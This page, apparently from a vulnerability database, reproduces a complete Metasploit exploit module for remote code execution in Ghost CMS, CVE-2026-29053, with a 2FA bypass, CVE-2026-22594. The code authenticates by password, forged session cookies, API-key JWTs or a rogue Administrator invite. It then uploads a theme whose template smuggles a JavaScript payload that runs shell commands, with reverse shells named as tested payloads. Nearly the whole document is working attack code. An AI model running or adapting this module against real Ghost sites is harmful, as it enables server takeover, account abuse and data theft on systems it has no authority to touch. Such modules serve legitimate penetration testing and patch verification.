Lucene search
+L

Ghost CMS Remote Code Execution

🗓️ 02 Mar 2026 00:00:00Reported by Maksim Rogov, Cristian-Alexandru StaicuType 
metasploit
 metasploit
🔗 www.rapid7.com👁 8 Views

Ghost CMS RCE via malicious themes affects versions 0.7.2 through 6.19.0, with 2FA bypass in 5.105.0-5.130.5 and 6.0.0-6.10.3.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'zip'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  VECTORS = {
    tag: {
      template_name: 'tag-{{SLUG}}.hbs',
      creator: :create_post,
      trigger: :get_tag,
      cleaner: :delete_post
    },
    page: {
      template_name: 'page-{{SLUG}}.hbs',
      creator: :create_page,
      trigger: :get_page,
      cleaner: :delete_page
    },
    author: {
      template_name: 'author-{{SLUG}}.hbs',
      creator: :pick_random_author,
      trigger: :get_author_by_slug,
      cleaner: nil
    }
  }.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Ghost CMS Remote Code Execution',
        'Description' => %q{
          This module exploits a Remote Code Execution (RCE) vulnerability in Ghost CMS.
          Specifically crafted malicious themes can execute arbitrary code on the server running Ghost.

          The affected versions include all releases from 0.7.2 up to and including 6.19.0.
          For versions 5.105.0-5.130.5 and 6.0.0-6.10.3, the module also leverages a 2FA bypass.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maksim Rogov', # Metasploit Module
          'Cristian-Alexandru Staicu' # Vulnerability Discovery
        ],
        'References' => [
          ['CVE', '2026-29053'],
          ['CVE', '2026-22594'],
          ['URL', 'https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x']
        ],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'Ghost >= 0.7.2, <= 6.19.0 / Unix payload',
            {
              'Platform' => ['unix', 'linux']
              # Tested with cmd/unix/reverse_bash
              # Tested with cmd/unix/reverse_nodejs
            }
          ],
          [
            'Ghost >= 0.7.2, <= 6.19.0 / Windows payload',
            {
              'Platform' => ['windows']
              # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2026-03-02',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to the Ghost CMS App', '/']),
        OptString.new('EMAIL', [ false, 'The email used for login or to receive the admin invitation']),
        OptString.new('PASSWORD', [ false, 'The password for the specified email (not needed for API-based invite)']),
        OptString.new('TOTP_CODE', [false, 'The 6-digit 2FA verification code required for TOTP flow']),
        OptString.new('INVITE_LINK', [false, 'Full invitation activation link from the email message']),
        OptString.new('ADMIN_API_KEY_ID', [ false, 'The ID of the Admin API key']),
        OptString.new('ADMIN_API_SECRET', [ false, 'The secret associated with the Admin API key']),
        OptString.new('GHOST_API_ADMIN_SESSION', [ false, 'The ghost-admin-api-session cookie']),
        OptString.new('ADMIN_SESSION_SECRET', [ false, 'The database session secret to sign admin cookies']),
        OptString.new('ADMIN_SESSION_ID', [ false, 'The plain session ID to be signed with the session secret']),
        OptInt.new('DELAY', [ true, 'Delay (in seconds) before resetting the execution lock, preventing repeated payload execution', 60]),
        OptEnum.new('ACTION', [true, 'Authentication method', 'PASSWORD', ['PASSWORD', 'SESSION_SECRET', 'API_KEY', 'COOKIE', 'INVITE']])
      ]
    )
  end

  def ghost_request_cgi(method, endpoint, data: nil, params: nil, ctype: 'application/json')
    headers = {}
    headers['Authorization'] = "Ghost #{@jwt_token}" if @jwt_token
    headers['Cookie'] = "ghost-admin-api-session=#{@ghost_admin_api_session}" if @ghost_admin_api_session
    headers['Origin'] = full_uri('', vhost_uri: true).chomp('/')

    request_data = (ctype == 'application/json' && data.is_a?(Hash)) ? data.to_json : data
    res = send_request_cgi({
      'method' => method,
      'uri' => normalize_uri(target_uri.path, 'ghost', 'api', 'admin', endpoint),
      'headers' => headers,
      'ctype' => ctype,
      'vars_get' => params,
      'data' => request_data,
      'keep_cookies' => true
    })

    if res.nil?
      print_error("Connection failed during #{method} to #{endpoint}")
      return nil
    end

    if res.code >= 400
      json_body = res.get_json_document
      if json_body.is_a?(Hash) && json_body['errors']
        error = json_body.dig('errors', 0)
        ctx = error.is_a?(Hash) ? error['context'] : nil

        print_error("Ghost Error (#{res.code}). #{ctx}")
      end
    end

    res
  end

  def create_post(title, slug, tags = nil)
    res = ghost_request_cgi('POST', 'posts/', data: {
      posts: [
        {
          title: title,
          slug: slug,
          tags: tags,
          status: 'published',
          visibility: 'public'
        }
      ]
    })
    res&.get_json_document&.dig('posts', 0, 'id')
  end

  def create_page(title, slug, *_args)
    res = ghost_request_cgi('POST', 'pages/', data: {
      pages: [
        {
          title: title,
          slug: slug,
          status: 'published',
          visibility: 'public'
        }
      ]
    })
    res&.get_json_document&.dig('pages', 0, 'id')
  end

  def create_rex_archive(binary_archive)
    zip = Rex::Zip::Archive.new

    Zip::File.open_buffer(binary_archive) do |z|
      z.each do |f|
        zip.entries << Rex::Zip::Entry.new(
          f.name,
          (f.ftype == :file ? z.read(f) : ''),
          Rex::Zip::CM_DEFLATE,
          nil,
          (Rex::Zip::EFA_ISDIR if f.ftype == :directory)
        )
      end
    end

    zip
  end

  def download_theme(name)
    res = ghost_request_cgi('GET', "themes/#{name}/download/")
    res.body
  end

  def upload_theme(theme_name, zip_binary)
    mime = Rex::MIME::Message.new
    mime.add_part(zip_binary, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{theme_name}.zip\"")

    res = ghost_request_cgi('POST', 'themes/upload/',
                            data: mime.to_s,
                            ctype: "multipart/form-data; boundary=#{mime.bound}")

    fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Theme upload failed: no response received") unless res

    json_body = res.get_json_document
    errors = json_body.is_a?(Hash) ? json_body['errors'] : nil
    error_message = if errors.is_a?(Array) && !errors.empty?
                      errors.map { |error| error.is_a?(Hash) ? error['message'] || error.inspect : error.to_s }.join(', ')
                    end

    unless res.code.between?(200, 299) && error_message.nil?
      message = "#{peer} - Theme upload failed (HTTP #{res.code})"
      message = "#{message}: #{error_message}" if error_message
      fail_with(Msf::Module::Failure::UnexpectedReply, message)
    end

    res
  end

  def get_malicious_template
    delay_seconds = datastore['DELAY']
    delay_ms = delay_seconds * 1000
    resource = ['posts', 'pages', 'tags', 'authors', 'tiers'].sample
    filter = ['id', 'name', 'slug'].sample

    # prevents multiple concurrent executions using a global lock
    lock_var = Rex::Text.rand_text_alpha_lower(1..16)

    js_bytes = "String.fromCharCode(#{payload.encoded.bytes.join(',')})"
    js_payload = "return global.#{lock_var}?0:(global.#{lock_var}=1,process.mainModule.require('child_process').exec(#{js_bytes},{detached:1},()=>setTimeout(()=>global.#{lock_var}=0,#{delay_ms})))"
    [
      '{{!< default}}',
      "{{#get \"#{resource}\" filter=\"#{filter}:{{@site[?( ({__proto__:\\\"\\\".toString})[\\\"constructor\\\"](\\\"#{js_payload}\\\")() )]}}\" limit=\"1\"}}",
      '{{/get}}'
    ].join("\n")
  end

  def delete_theme(name)
    res = ghost_request_cgi('DELETE', "themes/#{name}/")
    res&.code == 204
  end

  def get_users(include: nil)
    params = {}
    params['include'] = include if include.present?

    res = ghost_request_cgi('GET', 'users/', params: params)
    res&.get_json_document&.dig('users')
  end

  def delete_post(post_id)
    res = ghost_request_cgi('DELETE', "posts/#{post_id}/")
    res&.code == 204
  end

  def delete_page(page_id)
    res = ghost_request_cgi('DELETE', "pages/#{page_id}/")
    res&.code == 204
  end

  def delete_invite(invite_id)
    res = ghost_request_cgi('DELETE', "invites/#{invite_id}/")
    res&.code == 204
  end

  def check_existing_session
    if datastore['GHOST_API_ADMIN_SESSION'].present?
      print_status('Found GHOST_API_ADMIN_SESSION in datastore. Validating session...')
      @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s
      if get_config.present?
        return true
      else
        print_error('Session is invalid: Incorrect cookie or 2FA code is required.')
      end
    end
    @ghost_admin_api_session = nil
    false
  end

  def verify_totp_code
    unless datastore['TOTP_CODE'] =~ /^\d{6}$/
      fail_with(Msf::Module::Failure::BadConfig, 'The TOTP_CODE must be exactly 6 digits.')
    end

    if datastore['GHOST_API_ADMIN_SESSION'].blank?
      fail_with(Msf::Module::Failure::BadConfig, 'Missing GHOST_API_ADMIN_SESSION. Cannot verify TOTP without the previous session cookie.')
    end

    print_status("Submitting verification code from datastore: #{datastore['TOTP_CODE']}...")
    @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION'].to_s

    res_verify = ghost_request_cgi('PUT', 'session/verify', data: {
      token: datastore['TOTP_CODE']
    })

    if res_verify&.code == 200 || res_verify&.code == 201
      print_good('2FA verification successful! Session established.')
      save_session_cookie(res_verify)
      return true
    elsif res_verify&.code == 401
      print_error('2FA verification failed. The code entered is incorrect.')
      return false
    else
      print_error("Verification failed. Server responded with HTTP status: #{res_verify&.code}")
      return false
    end
  end

  def authenticate_with_password(email, password)
    print_status("Authenticating via session (user: #{email})...")
    json_data = {
      username: email,
      password: password
    }

    # CVE-2026-22594 Staff 2FA bypass
    if Rex::Version.new(@version).between?(Rex::Version.new('6.0.0'), Rex::Version.new('6.10.3')) || Rex::Version.new(@version).between?(Rex::Version.new('5.105.0'), Rex::Version.new('5.130.5'))
      print_status("Target version #{@version} is vulnerable to 2FA bypass (CVE-2026-22594). Attempting to exploit...")
      json_data[:skipEmailVerification] = true
    end

    res = ghost_request_cgi('POST', 'session', data: json_data)

    if res.nil?
      print_error('No response received from the server during login.')
      return false
    end

    case res.code
    when 200, 201
      print_good('Session established via password successfully.')
      save_session_cookie(res)
      return true
    when 404
      print_error('User not found or login endpoint does not exist.')
      return false
    else
      if res.body =~ /2FA_NEW_DEVICE_DETECTED/
        save_session_cookie(res)
        print_warning('The server requires a 2FA email verification code (2FA_NEW_DEVICE_DETECTED).')
        fail_with(Msf::Module::Failure::BadConfig, 'Please run: "set TOTP_CODE <6-digits>", and run again.')
      end

      print_error("Login failed! Response code: #{res.code}")
      false
    end
  end

  def save_session_cookie(response)
    raw_cookies = response.get_cookies
    if raw_cookies.present? && raw_cookies =~ /ghost-admin-api-session=([^;]+)/
      captured_cookie = Regexp.last_match(1)
      framework.datastore['GHOST_API_ADMIN_SESSION'] = captured_cookie
      @ghost_admin_api_session = captured_cookie
    end
  end

  def do_login(email, password)
    if check_existing_session
      print_good('Valid active session detected via cookie. Skipping authentication steps.')
      return true
    end

    if datastore['TOTP_CODE'].present?
      return verify_totp_code
    end

    authenticate_with_password(email, password)
  end

  def build_archive_from_directory(directory_path)
    archive = Rex::Zip::Archive.new

    Dir.glob(File.join(directory_path, '**', '*')).each do |path|
      relative_path = path.sub("#{directory_path}/", '')

      if File.file?(path)
        archive.add_file(relative_path, File.read(path))
      elsif File.directory?(path)
        archive.add_file(relative_path, nil, recursive: true)
      end
    end

    archive
  end

  def get_active_theme
    res = ghost_request_cgi('GET', 'themes/active/')
    res&.get_json_document&.dig('themes', 0)
  end

  def prepare_base_theme
    if datastore['ACTION'] == 'API_KEY'
      print_status('Using local template theme for JWT-based attack...')
      theme_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-29053', 'theme')

      build_archive_from_directory(theme_path)
    else
      active_theme = get_active_theme
      fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') unless active_theme.is_a?(Hash)

      @default_theme = active_theme&.dig('name')
      fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') if @default_theme.nil?

      print_status("Downloading active theme \"#{@default_theme}\" from server...")
      theme_data = download_theme(@default_theme)
      fail_with(Failure::UnexpectedReply, "Failed to download theme: #{@default_theme}") if theme_data.nil? || theme_data.empty?

      create_rex_archive(theme_data)
    end
  end

  def activate_theme(theme_name)
    res = ghost_request_cgi('PUT', "themes/#{theme_name}/activate/")
    res&.code == 200
  end

  def inject_payload(base_archive, template_pattern, slug)
    target_filename = template_pattern.gsub('{{SLUG}}', slug)

    payload_content = get_malicious_template

    print_status("Injecting payload into: #{target_filename}")
    base_archive.add_file(target_filename, payload_content)
    base_archive.pack
  end

  def pick_random_author(*_args)
    users = get_users(include: 'count.posts')
    fail_with(Failure::UnexpectedReply, 'Could not retrieve any authors from Ghost') if users.nil? || users.empty?

    active_users = users.select do |user|
      post_count = user.dig('count', 'posts').to_i
      post_count >= 1
    end

    active_users.sample['slug']
  end

  def get_author_by_slug(slug)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'author', slug.to_s, '')
    )
    fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200
  end

  def get_page(slug)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, slug.to_s, '')
    )
    fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200
  end

  def get_tag(slug)
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'tag', slug.to_s, '')
    )
    fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200
  end

  def issue_jwt(key_id, secret)
    iat = Time.now.to_i
    payload = {
      iat: iat,
      exp: iat + 5 * 60,
      aud: '/admin/'
    }
    secret_bytes = [secret].pack('H*')
    Msf::Exploit::Remote::HTTP::JWT.encode(
      JSON.generate(payload),
      secret_bytes,
      'HS256',
      { kid: key_id }
    )
  end

  def get_roles
    res = ghost_request_cgi('GET', '/roles/')
    return nil unless res&.code == 200

    res&.get_json_document&.dig('roles')
  end

  def invite_user(email, role_name)
    allowed_roles = %w[Administrator Editor Contributor Author]

    unless allowed_roles.include?(role_name)
      fail_with(Failure::BadConfig, "Invalid role: #{role_name}")
    end

    roles = get_roles
    role_id = roles.find { |role| role['name'] == role_name }['id']

    res = ghost_request_cgi('POST', '/invites/', data: {
      invites: [
        {
          role_id: role_id,
          email: email
        }
      ]
    })
    unless res&.code == 201
      fail_with(Failure::UnexpectedReply, "#{peer} - Failed to send invitation to #{email}")
    end
    res&.get_json_document&.dig('invites', 0)
  end

  def activate_invite(token, name, email, password)
    res = ghost_request_cgi('POST', '/authentication/invitation/', data: {
      invitation: [
        {
          name: name,
          email: email,
          password: password,
          token: token
        }
      ]
    })

    res&.code == 200
  end

  def handle_successful_activation(email, password)
    print_good("Account activated successfully: #{email} : #{password}")
    @account_created = true
    @invite_id = nil
    authenticate_with_password(email, password)
  end

  def auth_with_invite
    @jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET'])
    email = datastore['EMAIL']

    unless datastore['INVITE_LINK'].present?
      @invite_id = invite_user(email, 'Administrator')&.dig('id')
      print_warning("An invitation has been sent to #{email}.")
      print_warning('Please check the inbox, copy the "Click here to activate your account" link, and paste it here.')
      fail_with(Msf::Module::Failure::BadConfig, 'Please run: "set INVITE_LINK <full_link>", and run again.')
    end

    name = Faker::Name.unique.name
    pass = Faker::Internet.password(min_length: 10, mix_case: true, special_characters: true)
    token = URI.parse(datastore['INVITE_LINK']).path.split('/').last

    if activate_invite(token, name, email, pass)
      handle_successful_activation(email, pass)
    else
      fail_with(Msf::Module::Failure::UnexpectedReply, 'Activation failed and fallback authentication failed. The token might be invalid or expired.')
    end
  end

  def auth_with_jwt
    @jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET'])

    @jwt_token.present?
  end

  def get_user_id(email)
    users = get_users
    return nil if users.nil?

    user = users.find { |user| user['email'] == email }
    user ? user['id'] : nil
  end

  def delete_user(email)
    user_id = get_user_id(email)
    return false unless user_id

    res = ghost_request_cgi('DELETE', "users/#{user_id}/")
    res && res.code == 200
  end

  def get_config
    res = ghost_request_cgi('GET', 'config/')
    res&.get_json_document&.dig('config')
  end

  def sign_ghost_admin_session(secret, session_id)
    hmac = OpenSSL::HMAC.digest('SHA256', secret, session_id)
    signature = Base64.strict_encode64(hmac).gsub(/=+$/, '')

    raw_cookie = "s:#{session_id}.#{signature}"
    Rex::Text.uri_encode(raw_cookie).gsub(/%[0-9a-f]{2}/, &:upcase)
  end

  def auth
    action = datastore['ACTION']

    required_params = case action
                      when 'PASSWORD' then ['EMAIL', 'PASSWORD']
                      when 'API_KEY' then ['ADMIN_API_KEY_ID', 'ADMIN_API_SECRET']
                      when 'INVITE' then ['EMAIL', 'ADMIN_API_KEY_ID', 'ADMIN_API_SECRET']
                      when 'SESSION_SECRET' then ['ADMIN_SESSION_SECRET', 'ADMIN_SESSION_ID']
                      when 'COOKIE' then ['GHOST_API_ADMIN_SESSION']
                      when nil, ''
                        fail_with(Failure::BadConfig, 'ACTION parameter is missing. Please set ACTION to one of: PASSWORD, API_KEY, INVITE, SESSION_SECRET, COOKIE')
                      else
                        fail_with(Failure::BadConfig, "Invalid ACTION: #{action}")
                      end

    missing = required_params.select { |p| datastore[p].blank? }
    if missing.any?
      fail_with(Failure::BadConfig, "Authentication via \"#{action}\" requires parameters: #{required_params.join(', ')}. (Missing: #{missing.join(', ')})")
    end

    auth_success = case action
                   when 'PASSWORD'
                     do_login(datastore['EMAIL'], datastore['PASSWORD'])
                   when 'API_KEY'
                     print_status('Authenticating via Pure API Key (JWT generation)...')
                     auth_with_jwt
                   when 'INVITE'
                     print_status('Authenticating via Invitation Flow...')
                     auth_with_invite
                   when 'SESSION_SECRET'
                     print_status("Signing session cookie using provided secret for Session ID: #{datastore['ADMIN_SESSION_ID']}...")
                     @ghost_admin_api_session = sign_ghost_admin_session(datastore['ADMIN_SESSION_SECRET'], datastore['ADMIN_SESSION_ID'])
                     !get_config.nil?
                   when 'COOKIE'
                     print_status('Authenticating via GHOST_API_ADMIN_SESSION cookie...')
                     @ghost_admin_api_session = datastore['GHOST_API_ADMIN_SESSION']
                     !get_config.nil?
                   end

    if auth_success
      print_good('Authentication successful!')
    else
      fail_with(Failure::NoAccess, "Authentication failed for ACTION \"#{action}\": Unable to establish a session. Verify your credentials/tokens.")
    end
  end

  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path)
    )
    return CheckCode::Unknown("#{peer} - Unexpected HTTP response: status #{res&.code}") unless res&.code == 200

    html = res&.get_html_document
    ghost_tag = html.at('meta[name="generator"][content^="Ghost"]')

    raw_content = ghost_tag&.[]('content')
    return CheckCode::Unknown("#{peer} - Ghost generator meta tag not found") unless ghost_tag

    # keep only digits and dots
    @version = Rex::Version.new(raw_content.gsub(/[^\d.]/, ''))
    return CheckCode::Appears("Detected version #{@version}, which is vulnerable") if Rex::Version.new(@version).between?(Rex::Version.new('0.7.2'), Rex::Version.new('6.19.0'))

    CheckCode::Safe("Detected version #{@version}, which is not vulnerable")
  end

  def cleanup
    super

    if @default_theme && @malicious_theme_name
      print_status('Reverting to default theme...')
      activate_theme(@default_theme) ? print_good("Successfully reverted to theme: #{@default_theme}") : print_error("Failed to revert to theme: #{@default_theme}")

      print_status('Removing malicious theme...')
      delete_theme(@malicious_theme_name) ? print_good("Successfully removed malicious theme: #{@malicious_theme_name}") : print_error("Failed to remove malicious theme: #{@malicious_theme_name}")
    end

    if @content_id && @vector && @vector[:cleaner]
      print_status('Removing content...')
      send(@vector[:cleaner], @content_id) ? print_good("Successfully removed content: #{@vector_key} #{@content_id}") : print_error("Failed to remove content: #{@vector_key} #{@content_id}")
    end

    if @invite_id && datastore['INVITE_LINK'].present?
      print_status('Removing invitation...')
      delete_invite(@invite_id) ? print_good('Invitation removed successfully') : print_error('Failed to delete the invitation')
    end

    if @account_created
      print_status('Removing temporary account...')

      auth_with_jwt || (print_error('Unable to authorize via API keys to delete the user') && return)
      delete_user(datastore['EMAIL']) ? print_good('The temporary account removed successfully') : print_error('Failed to delete the temporary account')
    end
  end

  def exploit
    auth

    @vector_key = VECTORS.keys.sample
    @vector = VECTORS[@vector_key]

    if @vector_key == :author
      @trigger_slug = send(@vector[:creator])
    else
      @trigger_slug = Rex::Text.rand_text_alpha_lower(4..16)
      @content_id = send(@vector[:creator], @trigger_slug, @trigger_slug, [@trigger_slug])
    end

    @malicious_theme_name = Rex::Text.rand_text_alpha_lower(4..16)

    base_archive = prepare_base_theme
    if base_archive.nil?
      fail_with(Failure::BadConfig, 'Base archive could not be initialized')
    end

    infected_zip = inject_payload(base_archive, @vector[:template_name], @trigger_slug)
    print_status("Uploading infected theme: #{@malicious_theme_name}")
    upload_theme(@malicious_theme_name, infected_zip)
    activate_theme(@malicious_theme_name)

    print_status('Triggering payload...')
    send(@vector[:trigger], @trigger_slug)
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Mar 2026 00:00Current
6.3Medium risk
Vulners AI Score6.3
8